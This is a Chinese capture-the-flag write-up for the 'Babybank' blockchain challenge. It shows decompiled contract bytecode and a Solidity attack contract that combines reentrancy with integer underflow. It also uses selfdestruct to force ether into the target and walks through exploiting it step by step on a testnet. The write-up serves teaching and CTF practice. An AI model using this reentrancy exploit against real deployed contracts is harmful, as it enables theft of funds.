强网杯区块链题目--Babybank深入分析

一、前言

本文为强网杯CTF区块链题目解析。现在的大赛越来越常见到区块链的题目的影子,相比传统的web题目,blockchain做出题目的队伍并不多,于是我将本次比赛的两道题目进行分析,并将做题过程记录在此,方便爱好者进行学习。

由于每一个题目需要分析与演示,我在这里将两道题目分为两篇文章,本文为第一题Babybank

二、题目分析

拿到题目后我们只能看到如下内容:

0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten,请使用自己队伍的token获取flag,否则flag无效

并且给出不完整合约:

image.png

拿到合约我们能看到合约私有变量有余额balancelevel。看到了sendflag时间以及payforflag函数,而此函数需要传入md5的队伍token以及base64加密后的邮箱,当调用此函数后,需要满足当前调用余额大于10000000000。很显然,这是一个非常大的数,且我们需要用一些漏洞来增加账户的余额。

已知条件就如此,之后我们需要查看合约地址的信息来发掘更多有用的条件。

我们访问该合约地址并没有发现题目源码,这无疑加大了合约分析的难度。不过现在的题目基本上都不会给出源码,大多题目还是需要依靠逆向进行,于是我们也将合约进行逆向。

得到如下代码:

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
    
        if (var0 == 0x2e1a7d4d) {
            // Dispatch table entry for withdraw(uint256)
            var var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var var2 = msg.data[0x04:0x24];
            withdraw(var2);
            stop();
        } else if (var0 == 0x66d16cc3) {
            // Dispatch table entry for profit()
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            profit();
            stop();
        } else if (var0 == 0x8c0320de) {
            // Dispatch table entry for 0x8c0320de (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var temp0 = memory[0x40:0x60];
            var temp1 = msg.data[0x04:0x24];
            var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
            memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp0:temp0 + 0x20] = temp2;
            var1 = 0x00aa;
            memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
            var temp3 = memory[0x40:0x60];
            var temp4 = msg.data[0x24:0x44] + 0x04;
            var temp5 = msg.data[temp4:temp4 + 0x20];
            memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp3:temp3 + 0x20] = temp5;
            var2 = temp0;
            memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
            var var3 = temp3;
            func_02DC(var2, var3);
            stop();
        } else if (var0 == 0x8e2a219e) {
            // Dispatch table entry for 0x8e2a219e (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            func_045C(var2);
            stop();
        } else if (var0 == 0x9189fec1) {
            // Dispatch table entry for guess(uint256)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            guess(var2);
            stop();
        } else if (var0 == 0xa9059cbb) {
            // Dispatch table entry for transfer(address,uint256)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var3 = msg.data[0x24:0x44];
            transfer(var2, var3);
            stop();
        } else if (var0 == 0xd41b6db6) {
            // Dispatch table entry for 0xd41b6db6 (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = func_0555(var2);
        
        label_01E7:
            var temp6 = memory[0x40:0x60];
            memory[temp6:temp6 + 0x20] = var2;
            var temp7 = memory[0x40:0x60];
            return memory[temp7:temp7 + temp6 - temp7 + 0x20];
        } else if (var0 == 0xe3d670d7) {
            // Dispatch table entry for balance(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = balance(var2);
            goto label_01E7;
        } else { revert(memory[0x00:0x00]); }
    }
    
    function withdraw(var arg0) {
        if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        var temp0 = memory[0x40:0x60];
        var temp1 = arg0;
        memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = storage[temp2] - temp1;
    }
    
    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // 当level=1 跳出
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x20:0x40] = 0x01;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }
    
    function func_02DC(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        var temp0 = memory[0x40:0x60];
        var temp1 = address(address(this)).balance;
        var temp2;
        temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
        var var0 = !temp2;
    
        if (!var0) {
            var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
            var temp3 = arg0;
            var var1 = temp3;
            var var2 = arg1;
            var temp4 = memory[0x40:0x60];
            var var3 = temp4;
            var var4 = var3;
            var var5 = var4 + 0x20;
            var temp5 = var5 + 0x20;
            memory[var4:var4 + 0x20] = temp5 - var4;
            memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
            var var6 = temp5 + 0x20;
            var var8 = memory[var1:var1 + 0x20];
            var var7 = var1 + 0x20;
            var var9 = var8;
            var var10 = var6;
            var var11 = var7;
            var var12 = 0x00;
        
            if (var12 >= var9) {
            label_03BC:
                var temp6 = var8;
                var6 = temp6 + var6;
                var7 = temp6 & 0x1f;
            
                if (!var7) {
                    var temp7 = var6;
                    memory[var5:var5 + 0x20] = temp7 - var3;
                    var temp8 = var2;
                    memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
                    var6 = temp7 + 0x20;
                    var7 = temp8 + 0x20;
                    var8 = memory[temp8:temp8 + 0x20];
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;
                
                    if (var12 >= var9) {
                    label_041C:
                        var temp9 = var8;
                        var6 = temp9 + var6;
                        var7 = temp9 & 0x1f;
                    
                        if (!var7) {
                            var temp10 = memory[0x40:0x60];
                            log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
                            return;
                        } else {
                            var temp11 = var7;
                            var temp12 = var6 - temp11;
                            memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
                            var temp13 = memory[0x40:0x60];
                            log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
                            return;
                        }
                    } else {
                    label_040D:
                        var temp14 = var12;
                        memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
                        var12 = temp14 + 0x20;
                    
                        if (var12 >= var9) { goto label_041C; }
                        else { goto label_040D; }
                    }
                } else {
                    var temp15 = var7;
                    var temp16 = var6 - temp15;
                    memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
                    var temp17 = temp16 + 0x20;
                    memory[var5:var5 + 0x20] = temp17 - var3;
                    var temp18 = var2;
                    memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
                    var6 = temp17 + 0x20;
                    var8 = memory[temp18:temp18 + 0x20];
                    var7 = temp18 + 0x20;
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;
                
                    if (var12 >= var9) { goto label_041C; }
                    else { goto label_040D; }
                }
            } else {
            label_03AD:
                var temp19 = var12;
                memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
                var12 = temp19 + 0x20;
            
                if (var12 >= var9) { goto label_03BC; }
                else { goto label_03AD; }
            }
        } else {
            var temp20 = returndata.length;
            memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }
    
    function func_045C(var arg0) {
        if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        storage[0x03] = arg0;
    }
    
    function guess(var arg0) {
        if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 1
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        // 余额
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        // level
        memory[0x20:0x40] = 0x01;

        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }
    
    function transfer(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // balance == 2
        if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 2
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        storage[keccak256(memory[0x00:0x40])] = arg1;
    }
    
    function func_0555(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
    
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
}

而逆向出来的代码便成为我们做题的关键。下面就进行分析。

首先我们要注意的地方是在每个函数前均有一句话:

var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }

这句话非常关键,它表示我们无法在调用函数的时候在value中赋值。我也尝试过在value中输入值时它便会报错。

image.png

这个问题若不解决那么后面便无法继续做题,具体遇到的坑在后面进行讲解。

后面我们看合约中的关键函数:

首先是profit()

    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // 当level=1 跳出
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x20:0x40] = 0x01;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

该函数首先会对msg.sender的level值进行判断,需要满足level==0才能进入该函数。之后多了一条最重要的判断,那就是需要msg.sender的地址满足前四位为b1b1(这个限制真的有毒,在进行题目尝试的阶段我最终创建了10+个b1b1账户)。如果上述条件均满足,那么合约将用户的余额+1并将lvel+1 。也就是执行完之后level==1 。

下面看guess()函数。

    function guess(var arg0) {
        if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 1
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        // 余额
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        // level
        memory[0x20:0x40] = 0x01;

        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

调用此函数的条件为level==1,且传入的参数arg0需要等于storage[0x03]。而这里的storage[0x03]uint secret。而这个参数为区块上的一个参数,所以我们可以通过web3的接口对链上数据进行读取。

web3.eth.getStorageAt("0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c", 3, function(x, y) {console.warn(y)});

image.png

当条件全部满足后,该账户余额将+1,且level+1 。

下面是transfer函数。

    function transfer(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // balance == 2
        if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 2
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        storage[keccak256(memory[0x00:0x40])] = arg1;
    }

该函数传入两个参数,分别代表收款人与转账金额。函数需要满足转账金额要小于用户余额,且规定了余额必须为2,level必须为2 。之后收款方账户的余额变为2 。

最后一个最重要的函数为withdraw

    function withdraw(var arg0) {
        if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        var temp0 = memory[0x40:0x60];
        var temp1 = arg0;
        memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = storage[temp2] - temp1;
    }

该函数要求传入参数为2,即取款2 token。且满足用于余额<=2。当满足条件后便可以执行函数并使用address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);方法向用户转账,之后减去用户余额。

到这里,熟悉合约漏洞的研究者应该已经发现了漏洞所在地点,即调用.call函数能够引起重入攻击。

此时我们已经找到了漏洞所在位置,那么就要分析如何去利用。

在此函数中,我们在最后看到了减法运行,并且没有进行溢出检测,即我们可以通过这里的减法造成溢出从而获取到大量的代币。那么如何进行溢出呢?函数在开始的时候做了判断,需要满足账户余额>转账金额,只要满足了这个条件那么后面的减法就不会存在溢出的情况。

于是我们就需要在中间的call函数处做手脚。我们知道当合约调用call函数时将会触发收款方的fallback函数,所以我们只需要定义该合约的fallback函数从而完成对合约的攻击即可。

即当满足条件时,系统执行到.call语句,此时收款方收到钱,然后执行fallback函数再次调用withdraw函数。由于.call还未执行完,所以此时函数还未执行最后的减法,这是再次进入一个withdraw函数。所以类似于函数做了一半然后去执行另一个函数,从而第二个withdraw函数同样可以满足预设条件从而进入。

当第二次函数执行完后,用户的钱已经变成了2 - 2 = 0,此时回到了第一个函数中.call位置,之后继续执行,余额为 0 - 2 = -2(溢出)。从而完成攻击。

这里为什么不使用其他的函数呢?我们在执行的过程中进行过尝试,由于前面的函数均存在很严格的限制,且执行具有一定顺序,所以我们无法减少用户的余额,并且用户余额减少函数只有transfer与withdraw。无法进行。

三、做题步骤

本章我们对该合约攻击的过程进行详细的复现。

首先我们需要生成b1b1账户用于让合约有token。此网站可以满足需求:https://vanity-eth.tk/

之后我们令此账户依次调用profit、guess。

image.png

此时合约中的余额与level分别为1 1 -> 2 2。之后我们调用transfer函数,将此余额转账到攻击合约中。

令攻击合约拥有2token 。

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
    }
    function transfer(address a,uint b);
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function withdraw(uint arg0){}
    function balance(address a) view returns (uint b) {}

}
contract hack{
    babybank a;
    uint count = 0;
    event log(uint256);
    constructor(address b)public{
        a = babybank(b);
    }
    function () public payable {
        if(count==2){
            log(3);
        }else{
            count = count + 1;
      a.withdraw(2);
        log(1);
        }
    }
    function getMoney() public payable{}
    
    function hacker() public{
        a.withdraw(2);
        log(2);
    }
    function payforflag1(string md5ofteamtoken,string b64email) public{
        a.payforflag(md5ofteamtoken,b64email);
    }
    
    function kill() {
   
      selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    }
    
}

此时合约中拥有2token的代币。

在做题过程中,我们接下来就开始进行攻击了,但是尝试了好久都没有造成溢出,同样每次尝试代价都非常大,因为要生成b1b1账户,这出题人真的会挖坑。。之后我们发现其题目合约中并没有以太币,没有以太币意味着.call根本不会调用。。所以我们还需要给他转账。然鹅所有的函数如开题所说那样被锁死无法传入value。那我们应该怎么让合约有钱呢?第一我们可以利用合约里面自带的钱,当然这个太难了,因为需要等待别人传。第二我们就需要利用自杀函数来帮助我们强制转账。

我们知道selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);语句可以帮助我们销毁合并并将合约中的钱全部转到括号中的地址内。

于是我们尝试:

image.png

传入0.2ether 给合约并调用getmoney进行收款。

image.png

之后调用kill函数进行自杀,从而将钱强制转到合约中。此时题目合约中多了0.2ether。

之后便可以做题了。

由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。且合约中存在两个关键变量:balance(余额)以及level(一种标记)。在审计合约之后我们发现profit函数为:每个账户只允许调用一次,并发送钱包1 token;guess函数需要level值为1且调用后余额+1、leve+1 ;而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;withdraw函数表示取款,且合约会将以太币转给msg.sender。

  • 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。
  • 2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
  • 3 当C有了2token便可以进行攻击,调用hacker函数即可。

当攻击合约中显示自己的余额为2时,便可以调用hacker函数。在攻击函数中我控制了执行次数,因为当执行次数过高时有可能引起gas不足从而导致失败而影响最后的结果。

这里仅执行两次。并添加了log事件便于我们查看执行情况。

image.png
image.png

之后溢出成功,我们成功得到了大量的代币。

image.png

我们调用获取flag函数,得到如下日志:

image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,590评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,808评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,151评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,779评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,773评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,656评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,022评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,678评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,038评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,756评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,411评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,005评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,973评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,053评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,495评论 2 343

推荐阅读更多精彩内容